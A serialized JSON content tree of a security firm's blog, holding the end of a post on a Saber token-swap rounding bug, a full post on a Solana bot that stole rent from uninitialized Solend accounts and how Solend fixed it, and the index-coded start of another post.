6,"children":5867},{"style":114},[5868],{"type":26,"value":1439},{"type":21,"tag":85,"props":5870,"children":5871},{"style":120},[5872],{"type":26,"value":3918},{"type":21,"tag":85,"props":5874,"children":5875},{"style":114},[5876],{"type":26,"value":1900},{"type":21,"tag":85,"props":5878,"children":5879},{"style":169},[5880],{"type":26,"value":3927},{"type":21,"tag":85,"props":5882,"children":5883},{"style":114},[5884],{"type":26,"value":2485},{"type":21,"tag":85,"props":5886,"children":5887},{"class":87,"line":1339},[5888,5892,5896,5900,5904,5908,5912,5916,5920,5924,5928,5932,5936,5940,5944,5948,5952,5956,5960,5964,5968,5972,5976,5980,5984],{"type":21,"tag":85,"props":5889,"children":5890},{"style":169},[5891],{"type":26,"value":5151},{"type":21,"tag":85,"props":5893,"children":5894},{"style":169},[5895],{"type":26,"value":3939},{"type":21,"tag":85,"props":5897,"children":5898},{"style":1021},[5899],{"type":26,"value":3944},{"type":21,"tag":85,"props":5901,"children":5902},{"style":114},[5903],{"type":26,"value":1439},{"type":21,"tag":85,"props":5905,"children":5906},{"style":1021},[5907],{"type":26,"value":3953},{"type":21,"tag":85,"props":5909,"children":5910},{"style":114},[5911],{"type":26,"value":1439},{"type":21,"tag":85,"props":5913,"children":5914},{"style":169},[5915],{"type":26,"value":2238},{"type":21,"tag":85,"props":5917,"children":5918},{"style":120},[5919],{"type":26,"value":3886},{"type":21,"tag":85,"props":5921,"children":5922},{"style":114},[5923],{"type":26,"value":256},{"type":21,"tag":85,"props":5925,"children":5926},{"style":2285},[5927],{"type":26,"value":3895},{"type":21,"tag":85,"props":5929,"children":5930},{"style":114},[5931],{"type":26,"value":1900},{"type":21,"tag":85,"props":5933,"children":5934},{"style":169},[5935],{"type":26,"value":3904},{"type":21,"tag":85,"props":5937,"children":5938},{"style":1021},[5939],{"type":26,"value":3909},{"type":21,"tag":85,"props":5941,"children":5942},{"style":114},[5943],{"type":26,"value":1439},{"type":21,"tag":85,"props":5945,"children":5946},{"style":120},[5947],{"type":26,"value":3994},{"type":21,"tag":85,"props":5949,"children":5950},{"style":114},[5951],{"type":26,"value":1900},{"type":21,"tag":85,"props":5953,"children":5954},{"style":169},[5955],{"type":26,"value":3904},{"type":21,"tag":85,"props":5957,"children":5958},{"style":1021},[5959],{"type":26,"value":4007},{"type":21,"tag":85,"props":5961,"children":5962},{"style":114},[5963],{"type":26,"value":1439},{"type":21,"tag":85,"props":5965,"children":5966},{"style":120},[5967],{"type":26,"value":4016},{"type":21,"tag":85,"props":5969,"children":5970},{"style":114},[5971],{"type":26,"value":1900},{"type":21,"tag":85,"props":5973,"children":5974},{"style":169},[5975],{"type":26,"value":3927},{"type":21,"tag":85,"props":5977,"children":5978},{"style":114},[5979],{"type":26,"value":1900},{"type":21,"tag":85,"props":5981,"children":5982},{"style":169},[5983],{"type":26,"value":3927},{"type":21,"tag":85,"props":5985,"children":5986},{"style":114},[5987],{"type":26,"value":2535},{"type":21,"tag":85,"props":5989,"children":5990},{"class":87,"line":1348},[5991,5995,5999,6003,6007,6011],{"type":21,"tag":85,"props":5992,"children":5993},{"style":169},[5994],{"type":26,"value":5151},{"type":21,"tag":85,"props":5996,"children":5997},{"style":2885},[5998],{"type":26,"value":4044},{"type":21,"tag":85,"props":6000,"children":6001},{"style":120},[6002],{"type":26,"value":4049},{"type":21,"tag":85,"props":6004,"children":6005},{"style":169},[6006],{"type":26,"value":2282},{"type":21,"tag":85,"props":6008,"children":6009},{"style":120},[6010],{"type":26,"value":3788},{"type":21,"tag":85,"props":6012,"children":6013},{"style":114},[6014],{"type":26,"value":148},{"type":21,"tag":85,"props":6016,"children":6017},{"class":87,"line":1386},[6018,6023],{"type":21,"tag":85,"props":6019,"children":6020},{"style":2885},[6021],{"type":26,"value":6022},"             break",{"type":21,"tag":85,"props":6024,"children":6025},{"style":114},[6026],{"type":26,"value":2535},{"type":21,"tag":85,"props":6028,"children":6029},{"class":87,"line":1394},[6030,6034,6038,6042],{"type":21,"tag":85,"props":6031,"children":6032},{"style":169},[6033],{"type":26,"value":5151},{"type":21,"tag":85,"props":6035,"children":6036},{"style":114},[6037],{"type":26,"value":4081},{"type":21,"tag":85,"props":6039,"children":6040},{"style":2885},[6041],{"type":26,"value":4086},{"type":21,"tag":85,"props":6043,"children":6044},{"style":114},[6045],{"type":26,"value":148},{"type":21,"tag":85,"props":6047,"children":6048},{"class":87,"line":1402},[6049,6053,6057,6061,6065],{"type":21,"tag":85,"props":6050,"children":6051},{"style":169},[6052],{"type":26,"value":5151},{"type":21,"tag":85,"props":6054,"children":6055},{"style":120},[6056],{"type":26,"value":4098},{"type":21,"tag":85,"props":6058,"children":6059},{"style":169},[6060],{"type":26,"value":1941},{"type":21,"tag":85,"props":6062,"children":6063},{"style":120},[6064],{"type":26,"value":4049},{"type":21,"tag":85,"props":6066,"children":6067},{"style":114},[6068],{"type":26,"value":2535},{"type":21,"tag":85,"props":6070,"children":6071},{"class":87,"line":3145},[6072],{"type":21,"tag":85,"props":6073,"children":6074},{"style":114},[6075],{"type":26,"value":6076},"         }\n",{"type":21,"tag":54,"props":6078,"children":6079},{"id":3604},[6080],{"type":26,"value":3607},{"type":21,"tag":22,"props":6082,"children":6083},{},[6084],{"type":26,"value":6085},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":21,"tag":22,"props":6087,"children":6088},{},[6089,6091,6096],{"type":26,"value":6090},"Another interesting takeaway is that ",{"type":21,"tag":873,"props":6092,"children":6093},{},[6094],{"type":26,"value":6095},"fuzzing can give a false sense of security",{"type":26,"value":6097},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":21,"tag":22,"props":6099,"children":6100},{},[6101,6103,6110],{"type":26,"value":6102},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":21,"tag":335,"props":6104,"children":6107},{"href":6105,"rel":6106},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[339],[6108],{"type":26,"value":6109},"port-mortem of the NSS overflow",{"type":26,"value":73},{"type":21,"tag":22,"props":6112,"children":6113},{},[6114],{"type":21,"tag":4681,"props":6115,"children":6117},{"alt":7,"src":6116},"/posts/spl-swap/p0.png",[],{"type":21,"tag":22,"props":6119,"children":6120},{},[6121],{"type":26,"value":6122},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":21,"tag":22,"props":6124,"children":6125},{},[6126],{"type":26,"value":6127},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":21,"tag":22,"props":6129,"children":6130},{},[6131],{"type":26,"value":6132},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":21,"tag":3632,"props":6134,"children":6135},{},[6136],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":6138},[6139,6140,6141,6142],{"id":3697,"depth":98,"text":3700},{"id":4687,"depth":98,"text":4690},{"id":4994,"depth":98,"text":4997},{"id":3604,"depth":98,"text":3607},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":6147,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":6148,"description":6149,"image":6150,"date":6154,"isFeatured":16,"onBlogPage":16,"tags":6155,"body":6156,"_type":3642,"_id":6480,"_source":3644,"_file":6481,"_stem":6482,"_extension":3647},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":6151,"width":6152,"height":6153},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[3659,3660],{"type":18,"children":6157,"toc":6473},[6158,6163,6169,6174,6179,6184,6190,6203,6250,6281,6290,6295,6300,6305,6311,6324,6340,6345,6350,6365,6369,6374,6389,6396,6401,6411,6418,6422,6427,6433,6438,6443,6448,6454,6459],{"type":21,"tag":22,"props":6159,"children":6160},{},[6161],{"type":26,"value":6162},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":21,"tag":54,"props":6164,"children":6166},{"id":6165},"background",[6167],{"type":26,"value":6168},"Background",{"type":21,"tag":22,"props":6170,"children":6171},{},[6172],{"type":26,"value":6173},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":21,"tag":22,"props":6175,"children":6176},{},[6177],{"type":26,"value":6178},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":21,"tag":22,"props":6180,"children":6181},{},[6182],{"type":26,"value":6183},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":21,"tag":54,"props":6185,"children":6187},{"id":6186},"the-exploit",[6188],{"type":26,"value":6189},"The Exploit",{"type":21,"tag":22,"props":6191,"children":6192},{},[6193,6195,6201],{"type":26,"value":6194},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":21,"tag":66,"props":6196,"children":6198},{"className":6197},[],[6199],{"type":26,"value":6200},"init_reserve",{"type":26,"value":6202}," function, which creates 6 new accounts to store data about the reserve:",{"type":21,"tag":841,"props":6204,"children":6205},{},[6206,6211,6216,6221,6232,6237],{"type":21,"tag":845,"props":6207,"children":6208},{},[6209],{"type":26,"value":6210},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":21,"tag":845,"props":6212,"children":6213},{},[6214],{"type":26,"value":6215},"reserve liquidity token account - holds deposited tokens",{"type":21,"tag":845,"props":6217,"children":6218},{},[6219],{"type":26,"value":6220},"fee receiver token account - account which will receive origination fees on borrows",{"type":21,"tag":845,"props":6222,"children":6223},{},[6224,6226],{"type":26,"value":6225},"reserve collateral mint account - deposit receipt token, also known as ",{"type":21,"tag":66,"props":6227,"children":6229},{"className":6228},[],[6230],{"type":26,"value":6231},"cTokens",{"type":21,"tag":845,"props":6233,"children":6234},{},[6235],{"type":26,"value":6236},"reserve collateral token account - holds users' collateral tokens",{"type":21,"tag":845,"props":6238,"children":6239},{},[6240,6242,6248],{"type":26,"value":6241},"creator collateral token account - creator's ",{"type":21,"tag":66,"props":6243,"children":6245},{"className":6244},[],[6246],{"type":26,"value":6247},"cToken",{"type":26,"value":6249}," account",{"type":21,"tag":22,"props":6251,"children":6252},{},[6253,6255,6260,6262,6267,6269,6274,6276],{"type":26,"value":6254},"Account creation and initialization are ",{"type":21,"tag":39,"props":6256,"children":6257},{},[6258],{"type":26,"value":6259},"usually",{"type":26,"value":6261}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":21,"tag":66,"props":6263,"children":6265},{"className":6264},[],[6266],{"type":26,"value":6200},{"type":26,"value":6268}," is ",{"type":21,"tag":39,"props":6270,"children":6271},{},[6272],{"type":26,"value":6273},"supposed",{"type":26,"value":6275}," to look like:\n",{"type":21,"tag":4681,"props":6277,"children":6280},{"src":6278,"alt":6279},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":21,"tag":22,"props":6282,"children":6283},{},[6284,6286],{"type":26,"value":6285},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":21,"tag":4681,"props":6287,"children":6289},{"src":6288,"alt":6279},"/posts/rent-thief/attacktransac.png",[],{"type":21,"tag":22,"props":6291,"children":6292},{},[6293],{"type":26,"value":6294},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":21,"tag":22,"props":6296,"children":6297},{},[6298],{"type":26,"value":6299},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":21,"tag":22,"props":6301,"children":6302},{},[6303],{"type":26,"value":6304},"Despite this lost cost, this is pretty annoying...",{"type":21,"tag":54,"props":6306,"children":6308},{"id":6307},"example",[6309],{"type":26,"value":6310},"Example",{"type":21,"tag":22,"props":6312,"children":6313},{},[6314,6316,6323],{"type":26,"value":6315},"Let's take a look at ",{"type":21,"tag":335,"props":6317,"children":6320},{"href":6318,"rel":6319},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[339],[6321],{"type":26,"value":6322},"a real attack",{"type":26,"value":73},{"type":21,"tag":22,"props":6325,"children":6326},{},[6327,6334,6336],{"type":21,"tag":335,"props":6328,"children":6331},{"href":6329,"rel":6330},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[339],[6332],{"type":26,"value":6333},"Transaction 1",{"type":26,"value":6335},":\n",{"type":21,"tag":4681,"props":6337,"children":6339},{"alt":7,"src":6338},"https://i.imgur.com/xJvIwgc.png",[],{"type":21,"tag":22,"props":6341,"children":6342},{},[6343],{"type":26,"value":6344},"(...more accounts truncated)",{"type":21,"tag":22,"props":6346,"children":6347},{},[6348],{"type":26,"value":6349},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":21,"tag":22,"props":6351,"children":6352},{},[6353,6360,6361],{"type":21,"tag":335,"props":6354,"children":6357},{"href":6355,"rel":6356},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[339],[6358],{"type":26,"value":6359},"Attacker's Transaction",{"type":26,"value":6335},{"type":21,"tag":4681,"props":6362,"children":6364},{"alt":7,"src":6363},"https://i.imgur.com/CpSKuL3.png",[],{"type":21,"tag":22,"props":6366,"children":6367},{},[6368],{"type":26,"value":6344},{"type":21,"tag":22,"props":6370,"children":6371},{},[6372],{"type":26,"value":6373},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":21,"tag":22,"props":6375,"children":6376},{},[6377,6384,6385],{"type":21,"tag":335,"props":6378,"children":6381},{"href":6379,"rel":6380},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[339],[6382],{"type":26,"value":6383},"Transaction 2",{"type":26,"value":6335},{"type":21,"tag":4681,"props":6386,"children":6388},{"alt":7,"src":6387},"https://i.imgur.com/of0GIdw.png",[],{"type":21,"tag":22,"props":6390,"children":6391},{},[6392],{"type":21,"tag":4681,"props":6393,"children":6395},{"alt":7,"src":6394},"https://i.imgur.com/0STSyv8.png",[],{"type":21,"tag":22,"props":6397,"children":6398},{},[6399],{"type":26,"value":6400},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":21,"tag":22,"props":6402,"children":6403},{},[6404,6410],{"type":21,"tag":335,"props":6405,"children":6408},{"href":6406,"rel":6407},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[339],[6409],{"type":26,"value":6359},{"type":26,"value":172},{"type":21,"tag":22,"props":6412,"children":6413},{},[6414],{"type":21,"tag":4681,"props":6415,"children":6417},{"alt":7,"src":6416},"https://i.imgur.com/AmSPdmy.png",[],{"type":21,"tag":22,"props":6419,"children":6420},{},[6421],{"type":26,"value":6344},{"type":21,"tag":22,"props":6423,"children":6424},{},[6425],{"type":26,"value":6426},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":21,"tag":54,"props":6428,"children":6430},{"id":6429},"impact",[6431],{"type":26,"value":6432},"Impact",{"type":21,"tag":22,"props":6434,"children":6435},{},[6436],{"type":26,"value":6437},"Rent-thieving attacks don't steal much money.",{"type":21,"tag":22,"props":6439,"children":6440},{},[6441],{"type":26,"value":6442},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":21,"tag":22,"props":6444,"children":6445},{},[6446],{"type":26,"value":6447},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":21,"tag":54,"props":6449,"children":6451},{"id":6450},"solution",[6452],{"type":26,"value":6453},"Solution",{"type":21,"tag":22,"props":6455,"children":6456},{},[6457],{"type":26,"value":6458},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":21,"tag":22,"props":6460,"children":6461},{},[6462,6464,6471],{"type":26,"value":6463},"As a more permenant solution, Solend implemented ",{"type":21,"tag":335,"props":6465,"children":6468},{"href":6466,"rel":6467},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[339],[6469],{"type":26,"value":6470},"an onchain program",{"type":26,"value":6472}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":98,"depth":98,"links":6474},[6475,6476,6477,6478,6479],{"id":6165,"depth":98,"text":6168},{"id":6186,"depth":98,"text":6189},{"id":6307,"depth":98,"text":6310},{"id":6429,"depth":98,"text":6432},{"id":6450,"depth":98,"text":6453},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":6484,"date":15,"isFeatured":16,"onBlogPage":16,"body":6485,"_type":3642,"_id":3643,"_source":3644,"_file":3645,"_stem":3646,"_extension":3647},{"src":12,"height":13,"width":14},{"type":18,"children":6486,"toc":9667},[6487,6491,6495,6509,6513,6523,6608,6615,6724,6731,6747,6887,6891,7129,7145,7173,7177,7193,7197,7206,7216,7405,7415,7425,7435,7675,7685,7888,7892,7914,8055,8071,8075,8311,8320,8324,8335,8339,8343,8347,8356,8366,8370,8458,8467,8477,8729,8733,8742,8746,8793,8809,8813,9641,9645,9649,9653,9663],{"type":21,"tag":22,"props":6488,"children":6489},{},[6490],{"type":26,"value":27},{"type":21,"tag":22,"props":6492,"children":6493},{},[6494],{"type":26,"value":32},{"type":21,"tag":22,"props":6496,"children":6497},{},[6498,6499,6503,6504,6508],{"type":26,"value":37},{"type":21,"tag":39,"props":6500,"children":6501},{},[6502],{"type":26,"value":43},{"type":26,"value":45},{"type":21,"tag":39,"props":6505,"children":6506},{},[6507],{"type":26,"value":50},{"type":26,"value":52},{"type":21,"tag":54,"props":6510,"children":6511},{"id":56},[6512],{"type":26,"value":59},{"type":21,"tag":22,"props":6514,"children":6515},{},[6516,6517,6522],{"type":26,"value":64},{"type":21,"tag":66,"props":6518,"children":6520},{"className":6519},[],[6521],{"type":26,"value":71},{"type":26,"value":73},{"type":21,"tag":75,"props":6524,"children":6525},{"className":77,"code":78,"language":79,"meta":7,"style":7},[6526],{"type":21,"tag":66,"props":6527,"children":6528},{"__ignoreMap":7},[6529,6536,6575,6582,6601],{"type":21,"tag":85,"props":6530,"children":6531},{"class":87,"line":88},[6532],{"type":21,"tag":85,"props":6533,"children":6534},{"style":92},[6535],{"type":26,"value":95},{"type":21,"tag":85,"props":6537,"children":6538},{"class":87,"line":98},[6539,6543,6547,6551,6555,6559,6563,6567,6571],{"type":21,"tag":85,"props":6540,"children":6541},{"style":102},[6542],{"type":26,"value":105},{"type":21,"tag":85,"props":6544,"children":6545},{"style":108},[6546],{"type":26,"value":111},{"type":21,"tag":85,"props":6548,"children":6549},{"style":114},[6550],{"type":26,"value":117},{"type":21,"tag":85,"props":6552,"children":6553},{"style":120},[6554],{"type":26,"value":123},{"type":21,"tag":85,"props":6556,"children":6557},{"style":108},[6558],{"type":26,"value":128},{"type":21,"tag":85,"props":6560,"children":6561},{"style":114},[6562],{"type":26,"value":133},{"type":21,"tag":85,"props":6564,"children":6565},{"style":120},[6566],{"type":26,"value":138},{"type":21,"tag":85,"props":6568,"children":6569},{"style":120},[6570],{"type":26,"value":143},{"type":21,"tag":85,"props":6572,"children":6573},{"style":114},[6574],{"type":26,"value":148},{"type":21,"tag":85,"props":6576,"children":6577},{"class":87,"line":151},[6578],{"type":21,"tag":85,"props":6579,"children":6580},{"style":92},[6581],{"type":26,"value":157},{"type":21,"tag":85,"props":6583,"children":6584},{"class":87,"line":160},[6585,6589,6593,6597],{"type":21,"tag":85,"props":6586,"children":6587},{"style":120},[6588],{"type":26,"value":166},{"type":21,"tag":85,"props":6590,"children":6591},{"style":169},[6592],{"type":26,"value":172},{"type":21,"tag":85,"props":6594,"children":6595},{"style":108},[6596],{"type":26,"value":177},{"type":21,"tag":85,"props":6598,"children":6599},{"style":114},[6600],{"type":26,"value":182},{"type":21,"tag":85,"props":6602,"children":6603},{"class":87,"line":185},[6604],{"type":21,"tag":85,"props":6605,"children":6606},{"style":114},[6607],{"type":26,"value":191},{"type":21,"tag":22,"props":6609,"children":6610},{},[6611],{"type":21,"tag":39,"props":6612,"children":6613},{},[6614],{"type":26,"value":199},{"type":21,"tag":75,"props":6616,"children":6617},{"className":77,"code":202,"language":79,"meta":7,"style":7},[6618],{"type":21,"tag":66,"props":6619,"children":6620},{"__ignoreMap":7},[6621,6628,6675,6690,6717],{"type":21,"tag":85,"props":6622,"children":6623},{"class":87,"line":88},[6624],{"type":21,"tag":85,"props":6625,"children":6626},{"style":92},[6627],{"type":26,"value":214},{"type":21,"tag":85,"props":6629,"children":6630},{"class":87,"line":98},[6631,6635,6639,6643,6647,6651,6655,6659,6663,6667,6671],{"type":21,"tag":85,"props":6632,"children":6633},{"style":102},[6634],{"type":26,"value":105},{"type":21,"tag":85,"props":6636,"children":6637},{"style":108},[6638],{"type":26,"value":111},{"type":21,"tag":85,"props":6640,"children":6641},{"style":114},[6642],{"type":26,"value":117},{"type":21,"tag":85,"props":6644,"children":6645},{"style":120},[6646],{"type":26,"value":123},{"type":21,"tag":85,"props":6648,"children":6649},{"style":108},[6650],{"type":26,"value":238},{"type":21,"tag":85,"props":6652,"children":6653},{"style":114},[6654],{"type":26,"value":133},{"type":21,"tag":85,"props":6656,"children":6657},{"style":120},[6658],{"type":26,"value":138},{"type":21,"tag":85,"props":6660,"children":6661},{"style":120},[6662],{"type":26,"value":251},{"type":21,"tag":85,"props":6664,"children":6665},{"style":114},[6666],{"type":26,"value":256},{"type":21,"tag":85,"props":6668,"children":6669},{"style":120},[6670],{"type":26,"value":261},{"type":21,"tag":85,"props":6672,"children":6673},{"style":114},[6674],{"type":26,"value":148},{"type":21,"tag":85,"props":6676,"children":6677},{"class":87,"line":151},[6678,6682,6686],{"type":21,"tag":85,"props":6679,"children":6680},{"style":120},[6681],{"type":26,"value":273},{"type":21,"tag":85,"props":6683,"children":6684},{"style":169},[6685],{"type":26,"value":172},{"type":21,"tag":85,"props":6687,"children":6688},{"style":114},[6689],{"type":26,"value":282},{"type":21,"tag":85,"props":6691,"children":6692},{"class":87,"line":160},[6693,6697,6701,6705,6709,6713],{"type":21,"tag":85,"props":6694,"children":6695},{"style":120},[6696],{"type":26,"value":290},{"type":21,"tag":85,"props":6698,"children":6699},{"style":169},[6700],{"type":26,"value":172},{"type":21,"tag":85,"props":6702,"children":6703},{"style":108},[6704],{"type":26,"value":299},{"type":21,"tag":85,"props":6706,"children":6707},{"style":114},[6708],{"type":26,"value":117},{"type":21,"tag":85,"props":6710,"children":6711},{"style":108},[6712],{"type":26,"value":308},{"type":21,"tag":85,"props":6714,"children":6715},{"style":114},[6716],{"type":26,"value":313},{"type":21,"tag":85,"props":6718,"children":6719},{"class":87,"line":185},[6720],{"type":21,"tag":85,"props":6721,"children":6722},{"style":114},[6723],{"type":26,"value":191},{"type":21,"tag":22,"props":6725,"children":6726},{},[6727],{"type":21,"tag":39,"props":6728,"children":6729},{},[6730],{"type":26,"value":328},{"type":21,"tag":22,"props":6732,"children":6733},{},[6734,6735,6740,6741,6746],{"type":26,"value":333},{"type":21,"tag":335,"props":6736,"children":6738},{"href":337,"rel":6737},[339],[6739],{"type":26,"value":342},{"type":26,"value":344},{"type":21,"tag":66,"props":6742,"children":6744},{"className":6743},[],[6745],{"type":26,"value":350},{"type":26,"value":352},{"type":21,"tag":75,"props":6748,"children":6749},{"className":77,"code":355,"language":79,"meta":7,"style":7},[6750],{"type":21,"tag":66,"props":6751,"children":6752},{"__ignoreMap":7},[6753,6760,6819,6846,6873,6880],{"type":21,"tag":85,"props":6754,"children":6755},{"class":87,"line":88},[6756],{"type":21,"tag":85,"props":6757,"children":6758},{"style":92},[6759],{"type":26,"value":367},{"type":21,"tag":85,"props":6761,"children":6762},{"class":87,"line":98},[6763,6767,6771,6775,6779,6783,6787,6791,6795,6799,6803,6807,6811,6815],{"type":21,"tag":85,"props":6764,"children":6765},{"style":102},[6766],{"type":26,"value":375},{"type":21,"tag":85,"props":6768,"children":6769},{"style":108},[6770],{"type":26,"value":380},{"type":21,"tag":85,"props":6772,"children":6773},{"style":114},[6774],{"type":26,"value":117},{"type":21,"tag":85,"props":6776,"children":6777},{"style":120},[6778],{"type":26,"value":123},{"type":21,"tag":85,"props":6780,"children":6781},{"style":108},[6782],{"type":26,"value":393},{"type":21,"tag":85,"props":6784,"children":6785},{"style":114},[6786],{"type":26,"value":256},{"type":21,"tag":85,"props":6788,"children":6789},{"style":120},[6790],{"type":26,"value":123},{"type":21,"tag":85,"props":6792,"children":6793},{"style":108},[6794],{"type":26,"value":406},{"type":21,"tag":85,"props":6796,"children":6797},{"style":114},[6798],{"type":26,"value":256},{"type":21,"tag":85,"props":6800,"children":6801},{"style":120},[6802],{"type":26,"value":123},{"type":21,"tag":85,"props":6804,"children":6805},{"style":114},[6806],{"type":26,"value":419},{"type":21,"tag":85,"props":6808,"children":6809},{"style":120},[6810],{"type":26,"value":138},{"type":21,"tag":85,"props":6812,"children":6813},{"style":120},[6814],{"type":26,"value":251},{"type":21,"tag":85,"props":6816,"children":6817},{"style":114},[6818],{"type":26,"value":148},{"type":21,"tag":85,"props":6820,"children":6821},{"class":87,"line":151},[6822,6826,6830,6834,6838,6842],{"type":21,"tag":85,"props":6823,"children":6824},{"style":120},[6825],{"type":26,"value":439},{"type":21,"tag":85,"props":6827,"children":6828},{"style":169},[6829],{"type":26,"value":172},{"type":21,"tag":85,"props":6831,"children":6832},{"style":108},[6833],{"type":26,"value":111},{"type":21,"tag":85,"props":6835,"children":6836},{"style":114},[6837],{"type":26,"value":117},{"type":21,"tag":85,"props":6839,"children":6840},{"style":108},[6841],{"type":26,"value":456},{"type":21,"tag":85,"props":6843,"children":6844},{"style":114},[6845],{"type":26,"value":461},{"type":21,"tag":85,"props":6847,"children":6848},{"class":87,"line":160},[6849,6853,6857,6861,6865,6869],{"type":21,"tag":85,"props":6850,"children":6851},{"style":120},[6852],{"type":26,"value":469},{"type":21,"tag":85,"props":6854,"children":6855},{"style":169},[6856],{"type":26,"value":172},{"type":21,"tag":85,"props":6858,"children":6859},{"style":108},[6860],{"type":26,"value":111},{"type":21,"tag":85,"props":6862,"children":6863},{"style":114},[6864],{"type":26,"value":117},{"type":21,"tag":85,"props":6866,"children":6867},{"style":108},[6868],{"type":26,"value":486},{"type":21,"tag":85,"props":6870,"children":6871},{"style":114},[6872],{"type":26,"value":461},{"type":21,"tag":85,"props":6874,"children":6875},{"class":87,"line":185},[6876],{"type":21,"tag":85,"props":6877,"children":6878},{"style":92},[6879],{"type":26,"value":498},{"type":21,"tag":85,"props":6881,"children":6882},{"class":87,"line":501},[6883],{"type":21,"tag":85,"props":6884,"children":6885},{"style":114},[6886],{"type":26,"value":507},{"type":21,"tag":22,"props":6888,"children":6889},{},[6890],{"type":26,"value":512},{"type":21,"tag":75,"props":6892,"children":6893},{"className":77,"code":515,"language":79,"meta":7,"style":7},[6894],{"type":21,"tag":66,"props":6895,"children":6896},{"__ignoreMap":7},[6897,6932,6951,6978,7005,7052,7059,7066],{"type":21,"tag":85,"props":6898,"children":6899},{"class":87,"line":88},[6900,6904,6908,6912,6916,6920,6924,6928],{"type":21,"tag":85,"props":6901,"children":6902},{"style":120},[6903],{"type":26,"value":527},{"type":21,"tag":85,"props":6905,"children":6906},{"style":120},[6907],{"type":26,"value":532},{"type":21,"tag":85,"props":6909,"children":6910},{"style":120},[6911],{"type":26,"value":537},{"type":21,"tag":85,"props":6913,"children":6914},{"style":114},[6915],{"type":26,"value":117},{"type":21,"tag":85,"props":6917,"children":6918},{"style":108},[6919],{"type":26,"value":456},{"type":21,"tag":85,"props":6921,"children":6922},{"style":114},